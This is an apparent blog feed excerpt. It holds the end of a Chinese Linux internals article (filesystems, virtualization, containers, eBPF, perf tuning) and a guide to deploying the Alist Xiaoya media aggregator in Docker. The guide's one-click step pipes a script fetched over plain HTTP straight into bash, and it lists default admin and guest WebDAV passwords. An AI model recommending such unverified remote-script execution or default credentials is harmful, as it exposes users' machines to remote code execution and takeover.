&lt;li&gt;&lt;strong&gt;零系统调用&lt;&#x2F;strong&gt;：批量提交 I&#x2F;O 请求，无需频繁陷入内核。性能碾压 Epoll + AIO。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;3-1-ext4-de-shu-ju-yi-zhi-xing&quot;&gt;&lt;strong&gt;3.1 EXT4 的数据一致性&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;突然断电了，文件系统会坏吗？&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Journaling (日志)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;JBD2&lt;&#x2F;strong&gt;：Ext4 的日志子系统。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;流程&lt;&#x2F;strong&gt;：写数据前，先在日志区记录“我要写数据了” (Transaction) -&amp;gt; 写实际数据 -&amp;gt; 在日志区记录“我写完了” (Commit)。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;模式&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;data=ordered&lt;&#x2F;code&gt; (默认)：只记录元数据日志，但保证先写数据再写元数据。性能与安全平衡。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;data=writeback&lt;&#x2F;code&gt;：最快，但断电可能导致文件内容包含旧垃圾数据。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;data=journal&lt;&#x2F;code&gt;：所有数据都写两次。最慢，最安全。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;3-2-xian-dai-te-xing&quot;&gt;&lt;strong&gt;3.2 现代特性&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Extent Tree&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;老文件系统用“块列表”记录大文件，元数据太大。&lt;&#x2F;li&gt;
&lt;li&gt;Extent 用 &lt;code&gt;(起始块, 长度)&lt;&#x2F;code&gt; 记录，高效管理大文件。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Delayed Allocation (延迟分配)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;数据先写在 Cache 里，不急着分配磁盘块。等刷盘时一次性分配一大块连续空间，减少碎片。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;4-1-copy-on-write-btrfs-zfs&quot;&gt;&lt;strong&gt;4.1 Copy-On-Write (Btrfs&#x2F;ZFS)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;原理&lt;&#x2F;strong&gt;：修改数据时，不覆盖原位置，而是找个新地方写，然后修改指针指向新地方。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;优势&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;秒级快照&lt;&#x2F;strong&gt;：快照只是复制了一份 B+ 树的根指针，不拷贝数据。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;数据校验&lt;&#x2F;strong&gt;：每个块都有 Checksum，彻底解决&lt;strong&gt;静默数据损坏 (Bit Rot)&lt;&#x2F;strong&gt; 。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;4-2-overlayfs-rong-qi-cun-chu&quot;&gt;&lt;strong&gt;4.2 OverlayFS (容器存储)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Docker 镜像分层的秘密。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;结构&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;LowerDir&lt;&#x2F;strong&gt; (只读)：基础镜像层 (Image Layers)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;UpperDir&lt;&#x2F;strong&gt; (读写)：容器层 (Container Layer)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;MergedDir&lt;&#x2F;strong&gt;：用户看到的挂载点。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;写操作&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;当你要修改基础镜像里的 &lt;code&gt;&#x2F;etc&#x2F;hosts&lt;&#x2F;code&gt; 时，OverlayFS 会触发 &lt;strong&gt;Copy-up&lt;&#x2F;strong&gt;，把文件从 LowerDir 复制到 UpperDir，然后修改 UpperDir 里的副本。&lt;&#x2F;li&gt;
&lt;li&gt;这也是为什么在容器里修改大文件（如数据库数据文件）会很慢的原因。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;di-liu-juan-tian-yan-dong-cha-xu-ni-hua-yu-ke-guan-ce-xing-virtualization-observability&quot;&gt;&lt;strong&gt;第六卷：天眼洞察 —— 虚拟化与可观测性 (Virtualization&lt;&#x2F;strong&gt; &lt;strong&gt;&amp;amp;&lt;&#x2F;strong&gt; &lt;strong&gt;Observability)&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;本卷目标&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;矩阵&lt;&#x2F;strong&gt;：从硬件虚拟化到轻量级容器，理解“云”的本质。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;天眼&lt;&#x2F;strong&gt;：掌握 eBPF 和 Perf，将 Linux 内核变成透明的水晶。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;心法&lt;&#x2F;strong&gt;：学会系统级性能调优的方法论。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;di-yi-zhang-xu-ni-hua-ji-shi-kvm-qemu&quot;&gt;&lt;strong&gt;第一章：虚拟化基石 (KVM&lt;&#x2F;strong&gt; &lt;strong&gt;&amp;amp;&lt;&#x2F;strong&gt; &lt;strong&gt;QEMU)&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;云服务器 (EC2&#x2F;CVM) 到底是什么？&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-1-cpu-xu-ni-hua-vt-x&quot;&gt;&lt;strong&gt;1.1 CPU 虚拟化 (VT-x)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Root Mode vs Non-Root Mode&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Intel CPU 引入的新模式。Host OS 运行在 Root 模式，Guest OS 运行在 Non-Root 模式。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;VM-Exit&lt;&#x2F;strong&gt;：当 Guest OS 试图执行敏感指令（如修改页表、IO 操作）时，CPU 强制暂停 Guest，切回 Root 模式交给 KVM 处理。这是虚拟化开销的主要来源。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;vCPU&lt;&#x2F;strong&gt;：在 Linux 看来，一个 vCPU 就是一个普通的 QEMU 线程 (&lt;code&gt;task_struct&lt;&#x2F;code&gt;)。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;1-2-nei-cun-yu-i-o-xu-ni-hua&quot;&gt;&lt;strong&gt;1.2 内存与 I&#x2F;O 虚拟化&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;EPT (Extended Page Tables)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;硬件支持的二级地址翻译。&lt;&#x2F;li&gt;
&lt;li&gt;Guest 虚拟地址 -&amp;gt; Guest 物理地址 -&amp;gt; Host 物理地址。&lt;&#x2F;li&gt;
&lt;li&gt;无需 KVM 软件模拟页表 (Shadow Page Table)，性能大增。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;VirtIO (半虚拟化)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Guest OS 知道自己是虚拟机，不装傻去读写 IDE 寄存器，而是通过&lt;strong&gt;共享内存队列 (Virtqueue)&lt;&#x2F;strong&gt;  直接把数据扔给宿主机。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;di-er-zhang-rong-qi-ji-shu-container-internals&quot;&gt;&lt;strong&gt;第二章：容器技术 (Container Internals)&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Docker&#x2F;K8s 没有任何“黑科技”，只是组合了 Linux 的现有功能。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Namespace (隔离)&lt;&#x2F;strong&gt; ：决定了你能&lt;strong&gt;看见&lt;&#x2F;strong&gt;什么。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;PID&lt;&#x2F;code&gt;: 也就是 &lt;code&gt;ps&lt;&#x2F;code&gt; 只能看到容器内的进程。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;NET&lt;&#x2F;code&gt;: 独立的网卡、IP、路由表、Iptables。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Cgroups (限制)&lt;&#x2F;strong&gt; ：决定了你能&lt;strong&gt;用&lt;&#x2F;strong&gt;多少。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;文件系统接口：&lt;code&gt;&#x2F;sys&#x2F;fs&#x2F;cgroup&#x2F;&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;K8s 的 QoS (Guaranteed&#x2F;Burstable) 就是通过调整 &lt;code&gt;cpu.shares&lt;&#x2F;code&gt; 和 &lt;code&gt;cpu.cfs_quota_us&lt;&#x2F;code&gt; 实现的。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Capabilities (权限)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Root 不再是全能神。将 Root 权限拆分为细粒度权限（如 &lt;code&gt;CAP_NET_ADMIN&lt;&#x2F;code&gt;, &lt;code&gt;CAP_SYS_TIME&lt;&#x2F;code&gt;）。&lt;&#x2F;li&gt;
&lt;li&gt;容器默认虽然是 Root 运行，但被剥夺了绝大多数 Cap，所以无法修改系统时间或加载内核模块。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;di-san-zhang-shang-di-shi-jiao-ebpf-yu-ke-guan-ce-xing&quot;&gt;&lt;strong&gt;第三章：上帝视角 —— eBPF 与可观测性&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;传统的监控（Top, Zabbix）只能告诉你“CPU 高”，eBPF 能告诉你“CPU 都在执行哪个函数”。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-1-ebpf-nei-he-de-ke-bian-cheng-xing&quot;&gt;&lt;strong&gt;3.1 eBPF：内核的可编程性&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;革命&lt;&#x2F;strong&gt;：Linux 内核不仅是可配置的，现在是&lt;strong&gt;可编程&lt;&#x2F;strong&gt;的。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Verifier&lt;&#x2F;strong&gt;：在加载字节码前，内核会进行极其严格的安全检查（防止死循环、内存越界），确保不会搞崩系统。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Maps&lt;&#x2F;strong&gt;：eBPF 程序（内核态）和用户态程序（Go&#x2F;Python）通过 Map（Hash&#x2F;Array）共享数据。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;3-2-dong-tai-zhui-zong-shi-zhan&quot;&gt;&lt;strong&gt;3.2 动态追踪实战&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Kprobe&#x2F;Kretprobe&lt;&#x2F;strong&gt;：在任意内核函数的入口和出口插桩。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Uprobe&lt;&#x2F;strong&gt;：在用户态函数（如 MySQL 的 &lt;code&gt;dispatch_command&lt;&#x2F;code&gt;）插桩。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Tracepoints&lt;&#x2F;strong&gt;：内核源码里预留的稳定静态钩子。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;场景&lt;&#x2F;em&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;抓取所有执行 &lt;code&gt;open(&quot;&#x2F;etc&#x2F;passwd&quot;)&lt;&#x2F;code&gt; 的进程 PID。&lt;&#x2F;li&gt;
&lt;li&gt;统计 TCP 重传率最高的 IP。&lt;&#x2F;li&gt;
&lt;li&gt;绘制 Off-CPU 火焰图，分析进程睡着时在等什么锁。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;di-si-zhang-zong-shi-de-xin-fa-xing-neng-diao-you-fang-fa-lun&quot;&gt;&lt;strong&gt;第四章：宗师的心法 —— 性能调优方法论&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;工具只是术，方法论才是道。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-1-use-fang-fa-utilization-saturation-errors&quot;&gt;&lt;strong&gt;4.1 USE 方法 (Utilization, Saturation, Errors)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Brendan Gregg 提出，针对任何资源（CPU&#x2F;内存&#x2F;磁盘&#x2F;网络）：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Utilization (利用率)&lt;&#x2F;strong&gt; ：忙的时间比例是多少？(如磁盘 IO 利用率 90%)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Saturation (饱和度)&lt;&#x2F;strong&gt; ：有多少任务在排队？(如 Load Average, Wait Queue)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Errors (错误)&lt;&#x2F;strong&gt; ：有没有报错？(如 Dropped Packets, IO Errors)&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;4-2-xing-neng-fen-xi-jian-cha-qing-dan-checklist&quot;&gt;&lt;strong&gt;4.2 性能分析检查清单 (Checklist)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;当面对一台慢机器：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;uptime&lt;&#x2F;code&gt; -&amp;gt; 看 Load Avg (系统堵没堵)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;dmesg | tail&lt;&#x2F;code&gt; -&amp;gt; 看内核有没有报错 (OOM, 硬件错误)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;vmstat 1&lt;&#x2F;code&gt; -&amp;gt; 看 &lt;code&gt;r&lt;&#x2F;code&gt; (运行队列), &lt;code&gt;b&lt;&#x2F;code&gt; (IO等待), &lt;code&gt;si&#x2F;so&lt;&#x2F;code&gt; (Swap)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;mpstat -P ALL 1&lt;&#x2F;code&gt; -&amp;gt; 看有没有单核跑死。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;pidstat 1&lt;&#x2F;code&gt; -&amp;gt; 找元凶进程。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;iostat -xz 1&lt;&#x2F;code&gt; -&amp;gt; 看磁盘利用率和延迟。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;sar -n DEV 1&lt;&#x2F;code&gt; -&amp;gt; 看网络吞吐。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;perf top&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;profile&lt;&#x2F;code&gt; -&amp;gt; 抓火焰图，看代码热点。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Alist小雅超集Docker搭建排坑指南</title>
        <published>2025-12-10T00:00:00+00:00</published>
        <updated>2025-12-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/alist小雅超集docker搭建排坑指南/"/>
        <id>https://vercel.juzhong.asia/obsidian/alist小雅超集docker搭建排坑指南/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/alist小雅超集docker搭建排坑指南/">&lt;h1 id=&quot;alistxiao-ya-chao-ji-dockerda-jian-pai-keng-zhi-nan&quot;&gt;Alist小雅超集Docker搭建排坑指南&lt;&#x2F;h1&gt;
&lt;h3 id=&quot;alist-xiao-ya-chao-ji-shi-shen-me&quot;&gt;Alist(小雅超集)是什么？&lt;&#x2F;h3&gt;
&lt;p&gt;一个无需下载，可直接播放电影&#x2F;美剧&#x2F;日剧的网盘集合，资源超200T+&lt;&#x2F;p&gt;
&lt;p&gt;AList 是一个支持多种存储，支持网页浏览和 WebDAV 的文件列表程序，后端基于gin，前端使用react。除了支持众多网盘存储之外（如：阿里云盘、百度网盘、OneDrive、Google Drive、天翼网盘、移动云盘等等），还支持Samba存储，FTP存储等等，当然网盘的限制没变，比如百度的限速，目前阿里云，影视音乐资源直接播放，下载更是直接调用下载器(比如IDM)，满速下载。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;alist-xiaoya-docker&#x2F;alist-movie-folders.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;其实火了好长时间了，但是之前只能挂载自己的网盘，所以吸引力不够，这段时间可以挂载他人分享网盘，无需转存，也就是不需要转存到自己的网盘里，这简直太适合挂载电影电视剧之类的多媒体文件了，在目前的网络带宽下，无需下载直接播放电影的诱惑实在太大了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;版本说明&lt;&#x2F;strong&gt;
Alist原版就是自己从头建立网盘聚合，这个其实对大多数人来说用处并不是那么大，由前所说，共享大量的影视资源才是主流玩法，这里面有几个比较出名的，比如小雅超集（50T），为什么用小雅？理由有两条，一是增加了搜索功能，二是那么多资源不用一一去添加了，哪怕你用Alist原版自己去添加也非常费劲。&lt;&#x2F;p&gt;
&lt;p&gt;Alist原版（失效）： &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;alist-org&#x2F;alist&#x2F;release&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;alist-org&#x2F;alist&#x2F;release &lt;&#x2F;a&gt;
小雅超集： &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;alist.xiaoya.pro&#x2F;&quot;&gt;http:&#x2F;&#x2F;alist.xiaoya.pro&#x2F;&lt;&#x2F;a&gt;
小雅docker hub：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hub.docker.com&#x2F;r&#x2F;xiaoyaliu&#x2F;alist&quot;&gt;https:&#x2F;&#x2F;hub.docker.com&#x2F;r&#x2F;xiaoyaliu&#x2F;alist&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;da-jian-bu-zou&quot;&gt;搭建步骤&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;zui-jian-dan-de-fang-shi&quot;&gt;最简单的方式：&lt;&#x2F;h4&gt;
&lt;p&gt;一键创建或更新容器（最简单省事，其实步骤也是新建mytoken.txt和运行容器），但是只能查看别人已经搭建好的资源，无法进入管理页面，添加自己搜集的资源&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;curl -s http:&amp;#x2F;&amp;#x2F;docker.xiaoya.pro&amp;#x2F;update_xiaoya.sh | bash
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;fu-za-yi-dian-de-fang-shi&quot;&gt;复杂一点的方式：&lt;&#x2F;h4&gt;
&lt;p&gt;下载&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;docker.xiaoya.pro&#x2F;update&quot;&gt;http:&#x2F;&#x2F;docker.xiaoya.pro&#x2F;update&lt;&#x2F;a&gt;_xiaoya.sh，然后进行编辑，原版内容为：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;docker stop xiaoya
docker rm xiaoya
docker pull xiaoyaliu&amp;#x2F;alist:latest
if [ -d &amp;#x2F;etc&amp;#x2F;xiaoya&amp;#x2F;mytoken.txt ]; then
                 rm -rf &amp;#x2F;etc&amp;#x2F;xiaoya&amp;#x2F;mytoken.txt
fi
mkdir -p &amp;#x2F;etc&amp;#x2F;xiaoya
touch &amp;#x2F;etc&amp;#x2F;xiaoya&amp;#x2F;mytoken.txt
touch &amp;#x2F;etc&amp;#x2F;xiaoya&amp;#x2F;pikpak.txt
docker run -d -p 5678:80 -v &amp;#x2F;etc&amp;#x2F;xiaoya:&amp;#x2F;data --restart=always --name=xiaoya xiaoyaliu&amp;#x2F;alist:latest
将红字替换为：
docker run -d -p 5678:80 -p 5244:5244 -v &amp;#x2F;etc&amp;#x2F;xiaoya&amp;#x2F;mytoken.txt:&amp;#x2F;mytoken.txt --restart=always --name=xiaoya xiaoyaliu&amp;#x2F;alist:latest
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;执行后就可以进入管理页面。&lt;&#x2F;p&gt;
&lt;p&gt;管理URL：http:&#x2F;&#x2F;x.x.x.x:5244&#x2F;@manage&lt;&#x2F;p&gt;
&lt;p&gt;有了管理界面，就可以自己再新添资源了，还可以把自己的网盘也加入进去，不然只能搞套娃，自己新建alist再把这个小雅超集alist包含进去。&lt;&#x2F;p&gt;
&lt;p&gt;注意这里增加了管理端口映射，管理员登录的用户名和密码都是admin，如果默认的80端口映射和现有端口映射有冲突可以自己把5678改成其他的，比如8080或者8082之类的，因为小雅添加的搜索功能只有浏览端口才可用，并且从安全角度来说，也建议日常使用浏览端口。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;qi-ta-zhu-yi-shi-xiang&quot;&gt;其他注意事项&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;a-li-yun-pan-token&quot;&gt;阿里云盘token&lt;&#x2F;h4&gt;
&lt;p&gt;建立mytoken.txt文件，使用自己的refresh_token，可能会有助于加快速度&lt;&#x2F;p&gt;
&lt;p&gt;需要使用手机移动端的refresh_token，具体可以通过下面这个页面来获取(点击“获取Token”，用阿里云盘的APP扫描二维码，确认登陆，在下方显示 Token:xxxxxxxx):
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alist.nn.ci&#x2F;zh&#x2F;guide&#x2F;drivers&#x2F;aliyundrive.html&quot;&gt;https:&#x2F;&#x2F;alist.nn.ci&#x2F;zh&#x2F;guide&#x2F;drivers&#x2F;aliyundrive.html&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;或者访问 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;easy-token.cooluc.com&quot;&gt;https:&#x2F;&#x2F;easy-token.cooluc.com&lt;&#x2F;a&gt; 获取你的移动端token
然后mytoken.txt这个文件里只需要冒号之后的具体的token，不需要要其他字符。&lt;&#x2F;p&gt;
&lt;p&gt;然后，在终端命令行 （xxxxxxxxxxxxxxxx 就是你获取的token）
echo xxxxxxxxxxxxxxxxxxxxxx &amp;gt; &#x2F;etc&#x2F;xiaoya&#x2F;mytoken.txt
或者用其他方式编辑 &#x2F;etc&#x2F;xiaoya&#x2F;mytoken.txt ，填入token，保存后退出。&lt;&#x2F;p&gt;
&lt;p&gt;如果你的refresh_token不对，在打开4k视频的时候会出现如下错误：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;failed get link: failed to refresh token: The input parameter refresh_token is not valid.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;geng-xin-zi-yuan-shu-ju-ku-he-suo-yin&quot;&gt;更新资源数据库和索引&lt;&#x2F;h4&gt;
&lt;p&gt;重启就会自动更新数据库及搜索索引文件&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;docker restart xiaoya
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;webdavgua-zai&quot;&gt;Webdav挂载&lt;&#x2F;h4&gt;
&lt;p&gt;webdav 账号密码
用户: guest 密码: guest_Api789&lt;&#x2F;p&gt;
&lt;p&gt;浏览器直接可以打开小雅超集(Alist)，但是播放器之类，包括手机平板之类的，是无法只输入网址打开播放器，如果用浏览器直接打开 http:&#x2F;&#x2F;192.168.x.x:5678&#x2F;dav&#x2F; 会报错：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Method Not Allowed
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;因为Alist没有写前端页面，所以具体的加载图片参考下面：&lt;&#x2F;p&gt;
&lt;p&gt;常用软件设置，再次提醒别忘记尾部的dav路径。&lt;&#x2F;p&gt;
&lt;p&gt;nplayer(Android):&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;alist-xiaoya-docker&#x2F;nplayer-webdav-mount-setting.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;PotPlayer(PC)：
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;alist-xiaoya-docker&#x2F;potplayer-webdav-settings.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;ying-she-guan-li-duan-kou&quot;&gt;映射管理端口&lt;&#x2F;h4&gt;
&lt;p&gt;之前安装过的，没有映射管理端口，现在想要改的话，可以用这个方式：
SSH链接主机
输入命令：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;docker rm -f xiaoya
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后再输入：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;docker run -d -p 5678:80 -p 5244:5244 -v &amp;#x2F;etc&amp;#x2F;xiaoya&amp;#x2F;mytoken.txt:&amp;#x2F;mytoken.txt --restart=always --name=xiaoya xiaoyaliu&amp;#x2F;alist:latest
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux运维bind9-DNS正向解析DNS反向解析</title>
        <published>2025-12-10T00:00:00+00:00</published>
        <updated>2025-12-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/linux运维bind9-dns正向解析dns反向解析/"/>
        <id>https://vercel.juzhong.asia/obsidian/linux运维bind9-dns正向解析dns反向解析/</id>
        
